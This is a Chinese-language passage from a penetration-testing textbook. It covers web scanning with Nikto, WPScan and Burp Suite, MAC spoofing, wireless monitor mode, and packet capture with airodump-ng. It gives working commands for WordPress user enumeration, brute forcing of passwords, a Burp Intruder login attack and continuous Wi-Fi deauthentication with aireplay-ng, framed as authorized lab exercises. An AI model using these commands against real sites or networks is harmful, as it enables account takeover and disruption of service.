然而,作为一名渗透测试人员,我们需要能够发现目标网站和 Web 服务器上的安全配置错误和弱点。一个组织可能会与您签订合同,要求您对他们的网站进行渗透测试,而不是对他们的网络,甚至两者都要。请记住,对网站等对象进行渗透测试的目标是尽快识别漏洞并进行补救,以防止实际黑客能够 compromise 系统并窃取数据。

市场上有许多 Web 应用程序扫描器,从商业到免费和开源;以下是其中一些:

  • Acunetix 漏洞扫描器(商业)

  • w3af(免费)

  • Nikto(免费)

  • Burp Suite(商业和免费)

  • IBM AppScan(商业)

在本章的其余部分,我们将使用 Nikto、WPScan 和 Burp Suite 进行各种练习,以便在目标 Web 服务器上检测和识别安全漏洞。

让我们在下一节深入了解 Nikto。

Nikto

Nikto 是一个流行的开源 Web 漏洞扫描器,并且预装在 Kali Linux 中。这个命令行工具能够识别目标网站上的安全漏洞,并为每个发现的问题提供详细的参考。Nikto 不是一个隐秘导向的工具,在执行扫描时可能会有些嘈杂。

它的一些特点如下:

  • 检查 Web 服务器上是否有任何过时的组件

  • 能够通过目标上的标头和文件识别已安装的应用程序

  • SSL 支持

  • 执行子域猜测

  • Apache 用户名枚举

要开始使用 Nikto,在我们的 Metasploitable VM 上执行 Web 漏洞扫描。如果您还记得,在上一章中,我们对 Metasploitable 执行了端口扫描,并看到端口 80 是开放的。默认情况下,Web 服务器打开端口 80,以允许客户端和 Web 服务器之间的入站和出站通信。

使用 nikto -h <target> 语法在新的终端窗口中打开一个新的终端窗口,其中 -h 指定主机(主机名或 IP 地址)。我们使用 nikto -h 10.10.10.100 命令:

如果您提供主机名,Nikto 将能够通过域名系统DNS)执行 IP 查找。在初始阶段,Nikto 试图执行操作系统和服务版本指纹识别;我们的目标使用 Ubuntu 作为其操作系统,Apache 2.2.8 作为 Web 服务器应用程序。

Nikto 可以在 Kali Linux 的应用程序 | 02 – 漏洞分析选项卡下找到。

输出中的每个点都是 Nikto 检测到的问题的指示,无论是缺少配置,找到对敏感目录或文件的访问,还是应用程序版本过时。对于找到的每个安全问题,都会关联一个开放源漏洞数据库OSVDB)参考 ID。OSVBD 是一个独立的开源数据库,包含有关 Web 应用程序安全漏洞的信息。一旦 Nikto 能够在目标上识别出安全漏洞,它就会提供一个相关的 OSVDB 参考 ID。一旦获得了 OSVDB ID,您可以转到cve.mitre.org/data/refs/refmap/source-OSVDB.html来参考 OSVDB ID 与 CVE 条目。

有关 Nikto 的更多信息,请访问cirt.net/Nikto2github.com/sullo/nikto

现在您已经掌握了使用 Nikto 的基本技能,让我们在下一节中看看如何使用 WPScan。

WPScan

为公司创建网站涉及大量的编程和工作。有许多内容管理系统CMSes)可以让您轻松创建、管理和发布网站。想象一下,必须为网站的多个页面或多个网站静态编码 Web 语言;这将是一项艰巨的任务,需要对 Web 语言有很好的了解。CMS 允许 Web 管理员轻松地管理和更新网站的内容,同时能够集成额外的第三方 Web 插件,为用户提供更多功能。

有许多 CMS 可用;以下是其中一些:

  • WordPress

  • Joomla

  • Drupal

  • Plone

在互联网上,目前最流行的 CMS 之一是 WordPress。无论您是博主、自由职业者、初创公司还是大型组织,许多人都将 WordPress 作为首选 CMS。WordPress 是一个基于 MySQL 和 PHP 的开源 CMS。由于 WordPress 在互联网上非常流行,我们将使用 Kali Linux 中的WPScan工具来扫描 WordPress Web 服务器的 Web 漏洞。

首先,您需要在虚拟实验室环境中安装 WordPress 服务器。要做到这一点,请按照以下步骤:

  1. 转到www.turnkeylinux.org/wordpress并下载 ISO 映像或 VM 文件(使用虚拟机文件更容易设置 VM)。

  2. 安装在 hypervisor 中后,确保网络配置已启用,与您的 Kali Linux 机器处于相同的网络中。

  3. 打开 WordPress VM。它将从 hypervisor 中的动态主机配置协议DHCP)服务自动接收 IP 地址。

  4. 使用您的 Kali Linux 机器,执行网络和端口扫描以识别 WordPress 服务器 IP 地址。

  5. 在 Kali Linux 网络浏览器中输入 IP 地址,您应该会看到 WordPress 默认网页。

  6. 使用http://<ip address>/wp-login.php URL 将显示管理员登录页面,如下截图所示:

这是 WordPress 服务器的默认登录页面。

可选地,WPScan 工具可以在 Kali Linux 菜单的应用程序| 03 - Web 应用程序分析| CMS 和框架识别选项卡下找到。

在您的 Kali Linux 机器上,我们将使用wpscan --url <target IP or hostname>命令对 WordPress Web 服务器执行漏洞扫描:

WPScan 将提供服务器平台;在我们的案例中,它是 Apache。

接下来,它将尝试发现并列出所有已知的漏洞,并为每个漏洞提供修复和参考,如下截图所示:

WPScan 不仅是 WordPress 的漏洞扫描器,还具有执行用户账户枚举的能力。让我们尝试在我们的 WordPress 服务器上提取用户账户;使用wpscan --url 10.10.10.100 -e u vp命令执行用户枚举:

在我们的结果中,发现了admin用户。接下来,我们可以尝试使用暴力破解技术对admin账户进行密码破解。

要创建用于密码破解的自定义单词列表,您可以使用 Kali Linux 中的crunch工具。此外,您还可以从互联网上下载单词列表。一个很好的来源是github.com/danielmiessler/SecLists

使用 WPScan 和离线单词列表(我们的称为custom_list.txt)执行密码破解,我们使用wpscan --url 10.10.10.100 -e u --passwords custom_list.txt命令。

在下面的片段中,我们能够破解用户账户的密码:

作为渗透测试人员已经获得了用户名和密码,该账户已被破解。现在我们可以登录到 WordPress 服务器的控制面板,执行各种恶意操作。

密码破解可能是一个非常耗时的过程,可能需要几分钟或几个小时才能完成。

完成了这一部分后,您已经掌握了使用 WPScan 对 WordPress 服务器进行漏洞评估的技能。在下一部分中,我们将学习另一个 Web 漏洞评估工具 Burp Suite。

Burp Suite

Burp Suite(portswigger.net/burp)是一个图形用户界面GUI)Web 应用程序漏洞扫描器,具有识别 100 多种通用漏洞的能力,例如 OWASP 十大关键 Web 应用程序安全风险中发现的所有漏洞。

OWASP 十大漏洞列表可以在www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project找到。

Burp Suite 应用程序允许渗透测试人员拦截 Web 服务器(Web 应用程序)和浏览器之间的所有 HTTP 和 HTTPS 请求和响应,通过其 HTTP 代理组件。通过拦截 Web 流量,Burp Suite 可以测试各种类型的漏洞和攻击,如模糊测试、暴力破解密码攻击、解码、通过蜘蛛获取隐藏的 URL 等。

在开始使用 Burp Suite 之前,请确保您的 OWASP Broken Web Applications (BWA)虚拟机(受害者机器)在线并已获得 IP 地址。

一旦 OWASP BWA VM 在线,您应该看到以下屏幕;但是,您的 IP 地址详细信息可能与所示的不同:

在您的 Kali Linux 机器上,通过对 OWASP BWA 虚拟机进行 ping 测试,确保端到端的连接。一旦您验证了连接,就可以打开 Burp Suite 应用程序了。

要完成此任务,请使用以下说明:

  1. 转到应用程序 | 03 – Web Application Analysis | Web Application Proxies | Burp Suite。

  2. 现在应用程序已经打开,向导将询问您是否要创建临时项目、在磁盘上创建新项目或打开现有项目。

  3. 选择临时项目并单击“下一步”:

  1. 下一个窗口将询问 Burp Suite 是否应该使用默认设置或从文件加载配置。选择使用 Burp 默认选项,并单击“启动 Burp”以启动用户仪表板:

Web 浏览器和目标 Web 服务器之间发送的流量不会被 Burp Suite 监视或拦截。Burp Suite 包含一个 HTTP 代理,允许应用程序在 Web 浏览器和目标 Web 服务器之间拦截 HTTP 流量。Web 浏览器不直接与 Web 服务器交互;流量从 Web 浏览器发送到 Burp Suite HTTP 代理,然后 HTTP 代理将流量转发到目标 Web 服务器,反之亦然。以下是显示 Web 浏览器和 Web 服务器之间流量流动的图表:

Burp Suite 作为一个拦截代理应用程序。默认情况下,Burp Suite 无法拦截我们的 Kali Linux 机器和 OWASP BWA 虚拟机之间的任何流量。要配置我们的网络浏览器与 Burp Suite 一起工作,请使用以下说明:

  1. 打开 Firefox,点击菜单图标|首选项(选项)。

  2. 在默认选项卡上,向下滚动直到看到网络代理设置(网络设置),然后点击“设置”。

  3. 选择手动代理配置,并使用下一个截图中显示的配置:

确保“不使用代理”字段为空。

  1. 点击“确定”以保存 Firefox 中的设置。

现在我们已经配置了我们的网络浏览器与 Burp Suite HTTP 代理服务一起工作,让我们回到 Burp Suite 应用程序,以允许拦截流量。为此,请按照以下步骤操作:

  1. 点击代理|拦截,并点击拦截打开图标以切换启用/禁用:

确保您的配置设置正确,否则练习将无法按预期进行。

如果拦截图标显示为打开状态,则 Burp Suite 能够拦截 Web 浏览器和 Web 服务器之间的流量。此外,请确保转发请求;否则,它们将留在拦截器中不会被转发,最终请求将超时。

  1. 接下来,在您的 Kali Linux 机器上的 Firefox 地址栏中输入 OWASP BWA 虚拟机的 IP 地址。默认网页应该完美加载。在 Burp Suite 中,点击目标|站点地图以查看 HTTP 请求和响应:

  1. 在网络浏览器中,输入 OWASP BWA 虚拟机的 URL(或 IP 地址)。 HTTP 请求和响应将显示在 Burp Suite 的目标|站点地图选项卡上。

现在我们已经概述了如何使用 Burp Suite 拦截 Web 流量,让我们进一步进行攻击我们的 Metasploitable 机器。在下一节中,我们将使用 Burp Suite 执行暴力破解攻击。

使用入侵者进行暴力破解

Burp Suite 中的入侵者组件/模块允许渗透测试人员使用暴力破解方法执行在线密码攻击。让我们尝试获取登录到http://<target ip addr>/mutillidae URL 的密码:

  1. 使用 Firefox 网络浏览器点击 Mutillidae II。在 Burp Suite 中,您应该在站点地图选项卡的左窗格下看到mutillidae文件夹出现。

  2. 接下来,右键单击mutillidae文件夹,并选择如下截图所示的添加到范围。

  1. 以下代理历史记录窗口将出现;只需点击“是”:

  1. 要验证我们的范围是否已成功添加,请转到目标|范围选项卡:

  1. 现在您的范围已添加,请返回到您的网络浏览器。在 Mutillidae 网页的顶部,您将看到一个链接,允许用户进行登录尝试。使用admin作为用户名,password作为密码。登录尝试应该失败;但是,我们需要 Burp Suite 捕获有关网页上登录字段的特定细节。

让我们回到 Burp Suite 继续我们的练习。

  1. 在 Burp Suite 上,单击代理|HTTP 历史选项卡,然后选择 HTTP POST消息,其中包含来自我们浏览器的登录尝试(您的#消息可能与以下片段中显示的内容不同)。选择后,右键单击并选择发送到入侵者:

  1. 接下来,点击入侵者|目标选项卡,查看已设置的目标 IP 地址:

在入侵者选项卡中,有一些子选项卡,包括以下内容:

    • 目标:允许您设置特定的目标和端口号。
  • 位置:允许您选择负载将被插入到 HTTP 请求的位置。

  • 有效负载:提供配置有效负载类型的能力。

  • 选项:可以在此选项卡上设置其他选项。

  1. 选择位置选项卡,然后单击清除按钮以清除所有选择。默认情况下,Burp Suite 已选择 HTTP 请求消息的某些区域以插入其有效负载。但是,对于我们的练习,有效负载应插入到密码字段中。

  2. 突出显示单词“密码”,然后单击添加。这将允许 Burp Suite 在所选字段上插入其有效负载:

红色文本是从浏览器发送到 Web 服务器的数据。正如您所看到的,单词“密码”是我们在登录尝试中使用的值。

  1. 单击有效负载选项卡。在文本字段中输入admin,然后单击添加;这将是我们的自定义有效负载:

确保在有效负载和选项选项卡的其余部分中保持默认设置。

  1. 当您准备好启动有效负载时,请单击开始攻击:

攻击完成后,入侵者将打开一个新窗口以提供摘要。在结果选项卡上,注意我们有一个带有 302 状态代码的 HTTP 请求消息;这意味着发生了 HTTP 重定向。换句话说,入侵者成功登录到了 Mutillidae。详细信息可以在以下截图中看到,其中包括用户名密码

选择具有302状态代码的 HTTP 请求消息,您可以在请求选项卡上看到从 Web 浏览器发送的“用户名”和“密码”。

  1. 要查看来自 Web 服务器的响应,请单击响应|渲染选项卡。在这里,您将能够看到 Web 应用程序对有效负载的响应:

仔细观察,您会看到admin用户帐户已成功登录。请注意,前面截图中显示的用户帐户是有意易受攻击的 Metasploitable 虚拟机的默认管理帐户。此外,请不要在未获得合法许可的设备或网络上尝试任何形式的攻击。此练习是在实验室环境中进行的。

Sunny WearBurp Suite Cookbook包含了执行基于 Web 的评估的许多配方。此标题可在www.packtpub.com/networking-and-servers/burp-suite-cookbook找到。

正如您所看到的,Burp Suite 是进行 Web 渗透测试和漏洞评估的非常强大的应用程序。每当您被要求对 Web 服务器和网站进行安全审计时,这个工具肯定应该是您的工具清单的一部分。

摘要

在本章中,我们讨论了发现系统甚至 Web 服务器上的安全漏洞的必要性。我们研究了使用 Nessus 执行漏洞扫描、自定义策略和报告。此外,我们了解了 Nikto,一个开源的 Web 漏洞扫描程序,以及使用 WPScan 来检测 WordPress 中的安全配置错误和缺陷。最后,我们通过介绍了使用 Burp Suite 应用程序的基础知识,并尝试使用暴力破解来进入网站,结束了本章。

完成本章后,您现在可以成功地对目标网络和系统使用 Nessus 执行漏洞评估,并使用 Burp Suite、Nikto 和 WPScan 执行网站渗透测试。

我希望本章内容对您有所帮助,并在您的网络安全领域之旅中有所帮助。在下一章中,我们将探讨无线渗透测试的基本概念。

问题

以下是一些基于本章内容的问题:

  1. 在 Kali Linux 中安装 Nessus 后,使用什么命令来启用 Nessus 服务?

  2. 许多金融机构为其客户提供卡支付功能。为了确保机构符合行业标准,应该使用什么框架?

  3. Nessus 可以导出哪些类型的报告?

  4. 您能否说出 Kali Linux 中预安装的两三个 Web 漏洞扫描程序?

  5. 可以用什么工具来扫描 WordPress 网站的安全漏洞?

进一步阅读

第八章:了解网络渗透测试

在网络渗透测试的准备阶段,了解对目标系统和/或网络基础设施进行安全测试的目标至关重要。在发起任何攻击模拟之前,通过欺骗您设备的 MAC 地址并配置无线网络适配器来监视和捕获 IEEE 802.11 无线网络上的无线流量,成为网络上的匿名用户(或假装成合法用户)非常重要。

网络渗透测试侧重于进入网络并对目标组织的内部网络中的网络安全设备、设备和系统进行安全审计(渗透测试)。在本章中,您将了解 Kali Linux 上可以配置的各种模式,如何欺骗 MAC 地址以及如何在无线网络上捕获数据包。

在本章中,我们将涵盖以下主题:

  • 网络渗透测试简介

  • 了解 MAC 地址

  • 将无线适配器连接到 Kali Linux

  • 管理和监控无线模式

技术要求

以下是本章的技术要求:

  • Kali Linux (www.kali.org/)

  • VMware Workstation 或 Oracle VM VirtualBox

  • 支持数据包注入的无线网络接口卡(NIC)

并非所有无线网卡都支持监视模式和数据包注入。但是,芯片组的微小修订可能导致卡无法在监视模式下工作,有些卡可能需要编译驱动程序,可能无法直接使用。

以下是 Kali Linux 支持的外部无线 NIC 的列表:

  • Atheros:ATH9KHTC(AR9271,AR7010)

  • 雷凌:RT3070

  • Realtek:RTL8192CU

  • TP-Link TL-WN722N

  • TP-Link TL-WN822N v1 - v3

  • Alfa Networks AWUS036NEH

  • Alfa Networks AWUS036NHA

  • Alfa Networks AWUSO36NH

我个人建议使用 Alfa Networks AWUS036NHA 卡。

网络渗透测试简介

网络渗透测试的目标是发现目标网络基础设施上的任何安全漏洞。这种类型的渗透测试可以从组织外部(外部测试)或从内部(内部测试)进行。作为一名渗透测试人员,我绝对建议在目标网络上进行内部和外部安全测试。

以下是网络渗透测试的一些目标:

  • 绕过外围防火墙

  • 规避入侵检测系统/预防系统(IDS/IPS)

  • 测试路由和交换错误配置

  • 检测不必要的开放网络端口和服务

  • 查找敏感目录和信息

进行网络渗透测试有助于 IT 专业人员关闭不必要的网络端口,禁用服务,解决问题,并更好地配置安全设备以减轻威胁。

在外部网络渗透测试期间,渗透测试人员试图通过攻破防火墙和任何 IDS/IPS 来访问目标组织的网络。然而,内部网络渗透测试涉及从组织内部网络进行安全测试,该网络已经位于外围防火墙设备之后。

以下是网络渗透测试过程中需要遵循的六个步骤:

  1. 信息收集

  2. 端口扫描

  3. 操作系统和服务指纹识别

  4. 漏洞研究

  5. 利用验证

  6. 报告

在接下来的部分,我们将简要介绍渗透测试的不同方法。

渗透测试类型

以下是渗透测试人员通常进行的三种安全测试类型:

  • 白盒测试:白盒测试涉及在进行网络渗透测试之前对网络和系统拥有完整的知识,包括网络图、IP 地址方案和其他信息。这种类型的测试比灰盒和黑盒测试要容易得多,因为渗透测试人员不需要对目标网络和系统进行任何信息收集。

  • 灰盒测试:在灰盒测试中,渗透测试人员在进行网络渗透测试之前对组织的网络基础设施和系统有限的了解。

  • 黑盒测试:在黑盒测试中,渗透测试人员对目标组织或其网络和系统信息没有任何先验知识。关于目标提供的信息通常只是组织的名称。

现在我们已经完成了这个网络渗透测试入门部分,让我们深入了解 MAC 地址的基本知识。

了解 MAC 地址

在网络领域中,网络专业人员在故障排除过程中经常提到两种模型。这些模型被称为开放系统互连OSI)参考模型和传输控制协议/互联网协议TCP/IP)堆栈。

以下表格概述了每个模型的层次,并显示了 OSI 模型、协议数据单元PDU)和 TCP/IP 协议套件:

通常,术语数据包会被交替使用,但它们之间是有区别的。让我们更加关注帧的特性和构成。

在本节中,我们将重点关注 OSI 模型的数据链路层(第 2 层)。数据链路层负责在设备上的软件应用程序和网络的物理层之间传输数据。这是由网卡完成的。此外,在数据放置在物理层之前,数据层将网卡的物理地址,即媒体访问控制MAC)地址,插入到帧中。这个地址有时被称为固定地址BIA)。

设备的 MAC 地址长度为 48 位,以十六进制格式编写;因此,每个字符的范围在 0-9 和 A-F 之间。前 24 位被称为组织唯一标识符OUI),由电气和电子工程师协会IEEE)分配给供应商和制造商。通过了解任何有效 MAC 地址的前 24 位,您可以确定网卡和/或设备的供应商/制造商。最后的 24 位是唯一的,并由供应商分配,从而为每个设备创建一个唯一的 MAC 地址。

以下是 MAC 地址的分解:

要在 Windows 上查看 MAC 地址,请使用ipconfig /all命令:

然而,在基于 Linux 的操作系统上,您需要使用ifconfig命令:

现在我们对设备和网络上 MAC 地址的目的有了更好的了解。现在,让我们深入学习如何在 Kali Linux 中更改(欺骗)我们的 MAC 地址。

如何欺骗 MAC 地址

欺骗是网络上的一种冒充形式;它隐藏了您作为渗透测试人员的身份。离开您的 Kali Linux 机器的所有流量将包含源的新配置的 MAC 地址。

在这个练习中,我们将改变 Kali Linux 机器上 LAN 接口的 MAC 地址。按照以下简单的步骤来做:

  1. 使用以下命令关闭网络接口:
ifconfig eth0 down
  1. 一旦接口关闭,我们可以使用macchanger工具在接口上修改我们的 MAC 地址。macchanger工具允许您自定义您的新(伪造的)地址。要查看所有可用选项,请使用macchanger --help命令。

  2. 要更改我们以太网(网络)接口的 MAC 地址,我们将使用macchanger --random eth0命令,如下面的屏幕截图所示:

  1. 一旦成功更改了 MAC 地址,就可以使用以下命令打开以太网接口:
ifconfig eth0 up
  1. 最后,我们现在可以使用ifconfig命令来验证新的 MAC 地址是否在接口上注册,如下面的屏幕截图所示:

完成了这个练习后,您现在可以在 Kali Linux 的每个网络接口上伪造 MAC 地址。在下一节中,我们将学习如何将无线适配器连接到 Kali Linux 机器。

将无线适配器连接到 Kali Linux

在无线网络渗透测试期间,您将需要将外部无线网卡连接到 Kali Linux 机器上。如果您直接在磁盘驱动器上安装了 Kali Linux,则只需通过 USB 连接即可连接无线网卡。适配器将自动出现在网络设置中。

然而,在使用虚拟机时可能会有些棘手。在本节中,我将演示如何将无线网络适配器连接到VMware WorkstationOracle VM VirtualBox

如果您使用的是 VMware Workstation,请按照以下步骤操作:

  1. 首先,选择 Kali Linux 虚拟机,然后点击编辑虚拟机设置:

  1. 然后,虚拟机设置将打开,为您提供一些选项来添加、删除和修改模拟的硬件资源。选择USB 控制器;选项将出现在窗口的右侧。根据计算机上的物理 USB 控制器选择适当的 USB 版本,并确保显示所有 USB 输入设备的复选框中有一个勾选:

  1. 完成后,点击确定保存设置。启动 Kali Linux 虚拟机,并将无线适配器插入计算机上的可用 USB 端口。

在 VMware Workstation 的右下角,您会看到一些图标。这些图标代表物理硬件组件或设备。变暗的图标表示硬件或设备未连接到虚拟机,而明亮的图标表示组件或设备已连接。

  1. 点击下面屏幕截图中突出显示的 USB 图标。将会出现一个菜单,提供从主机机器连接到虚拟机的 USB 设备的选项。选择无线适配器:

  1. 一旦 USB 无线适配器成功连接,图标应该会亮起。现在,是时候验证 Kali Linux 是否能够看到无线适配器了。打开终端并执行ifconfig命令:

所有无线适配器都表示为wlan,后面跟着一个数字。我们的无线适配器是wlan0

对于那些使用Oracle VM VirtualBox的人来说,这个过程与之前提到的 VMware 有些相似。使用以下步骤来完成通过 hypervisor 将无线适配器连接到 Kali Linux 的练习:

  1. 要开始,请在仪表板中选择 Kali Linux 虚拟机,然后点击设置

  1. 一旦打开了设置菜单,请在左侧列中选择USB类别。确保无线适配器插入计算机的 USB 端口,并且与我们在 VMware Workstation 中所做的类似,选择USB 2.0(EHCI)控制器版本。

  2. 接下来,点击旁边带有+符号的USB图标,将 USB 设备连接到虚拟机。选择 USB 无线适配器:

无线适配器将被插入USB 设备过滤器字段中,如下截屏所示:

  1. 点击OK保存虚拟机的设置。启动 Kali Linux 虚拟机,并使用ifconfig命令验证无线适配器的状态。

完成本节后,您将具备成功连接无线适配器到 Kali Linux 虚拟机所需的技能。在下一节中,我们将看看如何在 Kali Linux 中管理和监控无线模式。

管理和监控无线模式

Linux 操作系统允许用户手动配置无线适配器的操作模式。

以下是不同模式和它们的解释:

  • Ad hoc模式用于连接多个终端设备,如笔记本电脑,而无需使用无线路由器或接入点。

  • 默认的操作模式是managed。这种模式允许设备(即主机)连接到无线路由器和接入点。但是,有时您可能需要对组织的 Wi-Fi 网络进行无线渗透测试。在 managed 模式下的无线适配器不适合这样的任务。

  • Master模式允许 Linux 设备作为访问点运行,以允许其他设备同步数据。

  • Repeater模式允许节点设备将数据包转发到网络上的其他节点;中继通常用于扩展无线信号的范围。

  • Secondary模式允许设备作为主设备或中继的备份。

  • Monitor模式允许设备在 IEEE 802.11 的频率上传递监控数据包和帧。这种模式不仅允许渗透测试人员监视流量,还可以使用兼容的无线适配器进行数据包注入来捕获数据。

操作模式取决于网络拓扑和 Linux 操作系统在网络中的角色。

有两种方法可以用来配置无线适配器为监控模式:手动和使用airmon-ng工具。

在接下来的部分,我们将看看如何做以下事情:

  • 手动启用监控模式

  • 使用 airmon-ng 启用监控模式

让我们更详细地看看这些方法。

手动启用监控模式

在本节中,我将指导您逐步手动启用 Kali Linux 机器上无线网卡的监控模式所需的步骤。

以下说明将指导您在 Kali Linux 机器上手动启用监控模式的过程。

要开始,请打开一个新的终端窗口并执行以下命令:

  1. 执行ifconfig命令以确定无线适配器是否连接并被 Kali Linux 操作系统识别。此外,注意接口 ID。在下面的截图中,接口是wlan0

  1. 现在我们有了接口 ID,使用ifconfig wlan0 down通过操作系统逻辑地关闭接口。在更改任何接口的模式之前,这是必要的。

  2. 现在接口已关闭,是时候为我们的wlan0接口配置监控模式了。iwconfig wlan0 mode monitor命令将启用监控模式。完成后,我们需要验证接口上的模式是否已成功更改。执行iwconfig命令。您应该看到模式已更改为Monitor,如下截屏所示:

  1. 最后,我们需要使用ifconfig wlan0 up命令将我们的wlan0接口启动起来。

通过完成此练习,您已经掌握了在 Kali Linux 中启用监控模式所需的技能。在下一节中,我们将看看如何使用 airmon-ng 来配置无线适配器。

使用 airmon-ng 启用监控模式

airmon-ng 是 aircrack-ng 套件中用于无线安全审计的工具之一。airmon-ng 是一个用于配置无线适配器为(和退出)监控模式的工具。

让我们看看如何启用和禁用监控模式:

  1. 要开始,请打开一个新的终端窗口,并执行ifconfigiwconfig命令来验证无线适配器的状态和 ID:

  1. 在启用监控模式之前,我们需要终止可能阻止适配器转换为监控模式的任何后台进程。通过使用airmon-ng check kill命令,工具将检查可能阻止适配器转换为监控模式的任何进程并将其终止:

  1. 接下来,执行airmon-ng start wlan0以启用监控模式。此外,将创建一个新的逻辑接口,如下面的屏幕截图所示:

  1. wlan0mon接口将用于监视 IEEE 802.11 网络。要禁用监控模式,只需使用airmon-ng stop wlan0mon命令。

通过完成此练习,您现在可以使用手动方法和 airmon-ng 工具在无线适配器上启用监控。

总结

在本章中,我们讨论了网络渗透测试的基本概念及其重要性。我们提供了关于将无线适配器连接到我们的 Kali Linux 机器的实用信息,讨论了 MAC 地址及其构成的目的,并讨论了如何通过修改来伪装我们的身份。此外,我们还看了如何通过手动配置和使用 airmon-ng 工具将无线适配器的默认模式更改为监控模式。

现在您已经完成了本章,您知道如何使用airmon-ng工具和通过 Kali Linux 操作系统手动启用监控模式。此外,您现在可以对无线网络进行监控。

希望本章内容能够为您提供信息,并在网络安全领域的旅程中为您提供帮助和指导。在下一章第九章中,“网络渗透测试-连接前攻击”,我们将深入研究网络渗透测试,并进行一些实际操作。

问题

以下是基于本章内容的一些问题:

  1. 在 Kali Linux 中可以使用什么工具来更改 MAC 地址?

  2. 您能否列举无线适配器可以配置为操作的不同模式?

  3. 如何查看网络接口的 MAC 地址?

  4. 如何终止可能阻止适配器转换为监控模式的任何后台进程?

进一步阅读

第九章:网络渗透测试 - 连接前攻击

许多组织都有无线网络。想象一下获得对企业无线网络的访问权限,然后利用无线作为进入有线网络并破坏其他系统和设备的媒介或通道。了解无线渗透测试是至关重要的,以便能够识别可能导致此类安全漏洞的漏洞。这些技能将帮助您作为渗透测试人员,因为您将需要在目标网络上执行无线安全测试。

在本章中,我们将深入研究诸如 aircrack-ng 之类的无线黑客工具。此外,我们将介绍了解各种无线攻击工作的基本知识。这些攻击包括取消与无线访问点关联的用户、创建虚假访问点和执行密码破解。

在本章中,我们将涵盖以下主题:

  • 使用 airodump-ng 开始数据包嗅探

  • 使用 airodump-ng 进行有针对性的数据包嗅探

  • 在无线网络上取消客户端的认证

  • 创建一个伪装 AP/恶意双胞胎

  • 执行密码喷洒攻击

  • 设置诱饵攻击

  • 利用弱加密进行凭证窃取

技术要求

以下是本章的技术要求:

使用 airodump-ng 开始数据包嗅探

要开始数据包嗅探,我们将使用airodump-ng工具。 airodump-ng具有许多功能,包括执行 IEEE 802.11 帧的原始捕获。此外,使用此工具,我们将能够查看无线 AP、关联和未关联的客户端设备(站点)、加密类型、SSID、AP 的制造商等。

在第八章中,了解网络渗透测试,我们概述了将无线网络适配器连接到 Kali Linux 机器并启用监视模式所涉及的程序。对于这个练习,您需要再次重复这个过程。

要启用监视模式,请执行以下步骤:

  1. 将无线适配器连接到 Kali Linux。使用ifconfig命令验证适配器的状态。

  2. 通过使用airmon-ng check kill命令终止可能妨碍启用监视模式的任何进程。

  3. 使用airmon-ng start wlan0命令在无线适配器上启用监视模式。

现在您的无线适配器处于监视模式,让我们使用airodump-ng工具查看所有附近 AP 和站点的列表。要执行此操作,请使用以下命令:

airodump-ng wlan0mon

您的终端窗口现在将开始显示所有附近的 AP,显示以下信息:

  • BSSID:这是 AP 或无线路由器的 MAC 地址。

  • PWR:这是功率评级。功率评级越低,AP 距离无线适配器越远。

  • Beacons:信标是从 AP 发送的广告。信标通常包含有关 AP 的信息,例如网络名称和操作。

  • #Data:这是每个网络捕获的数据包数量。

  • #/s:此字段表示在 10 秒内每秒的数据包数量。

  • CH:这是 AP 的操作频道。

  • MB:此字段概述了 AP 支持的最大速度。

  • ENC:这确定了无线网络上使用的加密密码。

  • AUTH:这确定了无线网络上的认证协议类型。

  • ESSID扩展服务集标识符ESSID)和网络 SSID 的名称相同。

  • STATION:显示关联和未关联设备的 MAC 地址。

执行命令后,您的无线适配器将执行所有附近无线网络和设备的实时扫描和监视。您应该会收到类似以下的屏幕截图:

根据您的地理位置,列出的设备和网络将会有所不同。

实时查看网络流量可能会让人不知所措,特别是在我们可以看到所有附近设备的情况下。airodump-ng工具允许我们使用--bssid参数来过滤特定 AP 的输出。此外,使用-c参数允许我们指定 AP 所在的信道。使用以下语法:

airodump-ng --bissid <bssid value> -c <channel number> wlan0mon

您将得到类似以下的输出,其中将显示有关目标无线网络的具体细节:

现在您已经能够进行数据包嗅探,让我们在下一节尝试将我们的攻击定向到特定目标。

使用 airodump-ng 进行目标数据包嗅探

在这一部分,我们将学习 airodump-ng 中的附加功能。最重要的是,我们将使用 airodump-ng 来针对特定网络;这将允许我们将攻击重点放在特定 目标上,而不会对其他附近的无线网络造成任何伤害。

即使您正在过滤您的视图,流量(数据包)并没有被离线保存以供后续分析。使用-w参数将允许您指定文件位置以保存内容。因此,以下命令将帮助您完成此任务:

airodump-ng --bissid <bssid value> -c <channel number> wlan0mon -w /root/capture

在您的终端上使用ls -l命令,您会看到数据已经离线写入root目录:

airodump-ng 通常将捕获的数据写入五种文件类型中;这些是.cap.csv.kistmet.csv.kismet.netxml.log.csv格式。

您让airodump-ng工具运行的时间越长,离线文件中将写入越多的数据包,并最终捕获到客户端和目标 AP 之间的 WPA/WPA2 握手。在使用 Airodump-ng 进行数据包嗅探时,您将看到右上角出现WPA 握手消息;这表明 WPA/WPA2 握手已被 airodump-ng 捕获。捕获 WPA/WPA2 握手将帮助我们破解目标无线网络的密码。

在下一节中,我们将尝试从无线网络中去认证用户。

在无线网络上去认证客户端

每当客户端设备,如笔记本电脑或智能手机,试图与受密码保护的无线网络建立关联时,用户将需要提供正确的密码。如果用户提供了正确的密码,设备将在网络上得到认证,并能够访问任何可用的资源。

在去认证攻击中,攻击者或渗透测试人员试图将每个关联设备从无线 AP 中踢出。这种攻击是在攻击者机器与目标无线 AP 或网络没有任何连接(关联)的情况下执行的。

对于攻击者机器来说,要向无线 AP 发送去认证帧,需要在帧的主体中插入一个原因代码。这些代码用于通知接入点或无线路由器网络上的变化。原因代码将指示以下之一:

  • 代码 2:以前的认证不再有效

  • 代码 3:去认证离开

这将导致每个客户端从目标 AP 中被去认证。以下是对网络攻击的示例:

要发起去认证攻击,请执行以下步骤:

  1. 在您的无线适配器上启用监视模式。

  2. 使用airodump-ng wlan0mon命令来发现您目标的 BSSID 地址。BSSID 将被用来专门针对特定 AP 发动我们的攻击。

  3. 一旦发现目标 AP,记下它的 BSSID 和操作频道,然后通过使用Ctrl + C 终止对附近 AP 的扫描。

  4. 通过使用以下语法将无线监视范围缩小到特定目标 AP:airodump-ng --bssid <bssid value> -c <channel #> wlan0mon。这个当前的终端窗口将用于监视我们攻击的进展。

  5. 打开一个新的终端窗口。这个窗口将用于使用aireplay-ng工具发动攻击。aireplay-ng -0 0 -a <BSSID> wlan0mon命令将向目标 AP 发送持续的去认证帧。

您的结果应该类似于以下截图:

在截图中,我们可以看到aireplay-ng正在向我们的目标接入点发送持续的去认证帧。

